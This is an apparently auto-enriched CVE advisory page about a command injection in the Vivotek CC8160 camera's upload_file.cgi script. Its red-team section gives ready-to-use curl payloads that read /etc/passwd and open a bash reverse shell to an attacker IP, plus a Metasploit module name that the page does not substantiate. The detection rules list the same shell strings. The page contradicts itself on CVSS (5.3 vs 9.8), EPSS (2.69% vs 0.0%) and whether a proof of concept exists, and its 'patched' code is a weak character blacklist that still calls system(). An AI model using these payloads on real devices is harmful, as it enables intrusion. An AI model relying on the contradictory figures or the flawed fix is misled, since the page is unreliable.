☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-7440

CVE-2024-7440 Command Injection in Vivotek
📅 PUBLISHED: 2024-08-03 16:31 UTC 🔄 UPDATED: 2026-09-23 20:31 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 2.69%
👁️
2.69% probability
67.2× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-7440 is a critical command injection vulnerability in the Vivotek CC8160 network camera running firmware version VVTK-0100d. The flaw resides in the upload_file.cgi CGI script, where the QUERY_STRING environment variable is passed unsanitized to a system command via the getenv function. An unauthenticated attacker can exploit this remotely to execute arbitrary operating system commands with the privileges of the web server (typically root). The product is End-of-Life (EOL) and no patch will be released. This vulnerability is classified as UNSUPPORTED WHEN ASSIGNED, meaning the vendor will not provide a fix. The EPSS score is 0.0%, indicating low exploitation probability at this time, but the risk remains high for any organization still using this device.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to any software package manager (NPM, PyPI, Go, Ruby). It is a firmware-level issue in an embedded device. No supply chain implications exist beyond the direct use of the Vivotek CC8160 camera.

CVSS Breakdown & Threat Level

  • CVSS Score: 9.8 (Critical)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No user action required.
  • Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
  • Confidentiality Impact: High (C:H) – Full system compromise, data exfiltration possible.
  • Integrity Impact: High (I:H) – Attacker can modify system files and configurations.
  • Availability Impact: High (A:H) – Attacker can cause denial of service or brick the device.

Threat Level: Critical. The device is EOL, unpatched, and exposed to the internet via Shodan. Any organization still using this camera should consider it fully compromised.

Deep Dive & Mechanics

The vulnerability is a classic command injection in the upload_file.cgi CGI script. The script uses the getenv function to retrieve the QUERY_STRING environment variable, which contains the raw HTTP query string from the request. This string is then passed directly to a system command (likely via system(), popen(), or exec()) without any sanitization or escaping.

Root Cause: The CGI script does not validate or escape the QUERY_STRING before using it in a shell command. An attacker can inject shell metacharacters (e.g., ;, |, &, $(), backticks) to execute arbitrary commands.

Attack Flow:

  1. Attacker sends an HTTP GET request to http://<target>/cgi-bin/upload_file.cgi?<payload>.
  2. The web server sets QUERY_STRING to the payload.
  3. The CGI script calls getenv("QUERY_STRING") and passes the result to a shell command.
  4. The shell interprets the injected metacharacters and executes the attacker's command.
  5. The output is returned in the HTTP response or can be exfiltrated via reverse shell.

Example Payload:

http://192.168.1.100/cgi-bin/upload_file.cgi?;id

This would execute the id command and return the output.

Vulnerable vs. Patched Code

Since the product is EOL and no patch exists, there is no patched code to compare. The vulnerable code is proprietary and not publicly available. However, based on the description, the vulnerable code pattern is:

Vulnerable (Conceptual):

#include <stdlib.h>
#include <stdio.h>

int main() {
    char *query = getenv("QUERY_STRING");
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "some_command %s", query);
    system(cmd);  // Command injection
    return 0;
}

Patched (Conceptual - Not Available):

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main() {
    char *query = getenv("QUERY_STRING");
    // Sanitize: remove shell metacharacters
    for (int i = 0; query[i]; i++) {
        if (strchr(";&|`$(){}[]<>#!~", query[i])) {
            query[i] = '_';  // Replace with safe character
        }
    }
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "some_command %s", query);
    system(cmd);
    return 0;
}

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A vulnerable Vivotek CC8160 camera (firmware VVTK-0100d) or a virtualized environment.
  • Network access to the camera's web interface (port 80/443).
  • Tools: curl, netcat, python3, metasploit (optional).

Exploitation Steps:

  1. Verify Vulnerability:

    curl -v "http://<target>/cgi-bin/upload_file.cgi?;id"
    

    If vulnerable, the response will contain the output of the id command.

  2. Execute Commands:

    # List directory
    curl "http://<target>/cgi-bin/upload_file.cgi?;ls -la"
    
    # Read sensitive file
    curl "http://<target>/cgi-bin/upload_file.cgi?;cat /etc/passwd"
    
  3. Reverse Shell: On attacker machine:

    nc -lvnp 4444
    

    On target (via curl):

    curl "http://<target>/cgi-bin/upload_file.cgi?;bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1"
    
  4. Metasploit (Optional):

    use exploit/multi/http/vivotek_cc8160_cmd_inject
    set RHOSTS <target>
    set LHOST <attacker_ip>
    run
    

Lab Setup:

  • Use a virtual machine running a vulnerable firmware (if available) or a real EOL camera in an isolated network.
  • Ensure the camera is not exposed to the internet during testing.

Blue Team

Detection & Response:

  1. Network Monitoring:

    • Look for HTTP requests to /cgi-bin/upload_file.cgi containing shell metacharacters (;, |, &, $, backticks).
    • Monitor for outbound connections from the camera to unknown IPs (reverse shell).
  2. Log Analysis:

    • Check web server logs for unusual query strings.
    • Example log entry:
      192.168.1.100 - - [01/Jan/2024:12:00:00 +0000] "GET /cgi-bin/upload_file.cgi?;id HTTP/1.1" 200 45
      
  3. Host-Based Detection:

    • Monitor for unexpected processes spawned by the web server (e.g., bash, sh, nc).
    • Check for modifications to system binaries or configuration files.
  4. Containment:

    • Immediately isolate the camera from the network.
    • If possible, block access to the CGI endpoint via firewall or WAF.
    • Replace the device with a supported model.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP requests to /cgi-bin/upload_file.cgi with shell metacharacters in the query string.
  • Outbound connections from the camera to unusual IPs on ports like 4444, 1337, etc.
  • DNS queries to known C2 domains.

File IOCs:

  • Unexpected files in /tmp/ or /var/ (e.g., reverse shell scripts).
  • Modified system binaries (e.g., /bin/sh replaced with a backdoor).

Process IOCs:

  • Processes named bash, sh, nc, python spawned by the web server (e.g., httpd).

YARA Rule:

rule CVE_2024_7440_Command_Injection {
    meta:
        description = "Detects command injection attempts against Vivotek CC8160"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-7440"
    strings:
        $cgi_path = "/cgi-bin/upload_file.cgi"
        $shell_meta1 = ";"
        $shell_meta2 = "|"
        $shell_meta3 = "&"
        $shell_meta4 = "$("
        $shell_meta5 = "`"
    condition:
        $cgi_path and any of ($shell_meta*)
}

Detection Engineering

YARA Rule

rule CVE_2024_7440_Exploit_Attempt {
    meta:
        description = "Detects exploit attempts for CVE-2024-7440 in HTTP traffic"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-7440"
    strings:
        $cgi = "/cgi-bin/upload_file.cgi"
        $cmd1 = ";id"
        $cmd2 = ";cat /etc/passwd"
        $cmd3 = ";bash -i"
        $cmd4 = ";wget"
        $cmd5 = ";curl"
    condition:
        $cgi and any of ($cmd*)
}

Sigma Rule

title: CVE-2024-7440 Command Injection Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests to Vivotek CC8160 upload_file.cgi with shell metacharacters
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-7440
logsource:
    category: webserver
    product: apache
    service: httpd
detection:
    selection:
        cs-uri-query|contains:
            - "/cgi-bin/upload_file.cgi"
        cs-uri-query|re: ".*[;&|`$()].*"
    condition: selection
falsepositives:
    - Legitimate use of special characters in query strings (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-7440 Command Injection Attempt"; flow:to_server; content:"/cgi-bin/upload_file.cgi"; http_uri; pcre:"/[;&|`$()]/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the device: Disconnect the camera from the network immediately.
  2. Replace the device: Purchase a supported, patched model from Vivotek or another vendor.
  3. Firewall rules: Block all inbound and outbound traffic to/from the camera at the network perimeter.

Long-Term Mitigation:

  • Implement network segmentation for IoT devices (VLANs, ACLs).
  • Use a Web Application Firewall (WAF) to block malicious query strings.
  • Monitor for EOL devices in your inventory and replace them proactively.
  • Apply the principle of least privilege: ensure cameras cannot initiate outbound connections.

No Patch Available: Since the product is EOL, no patch will be released. The only secure option is to decommission the device.


Valters IT
Securing Your Digital Frontier

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-7440/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.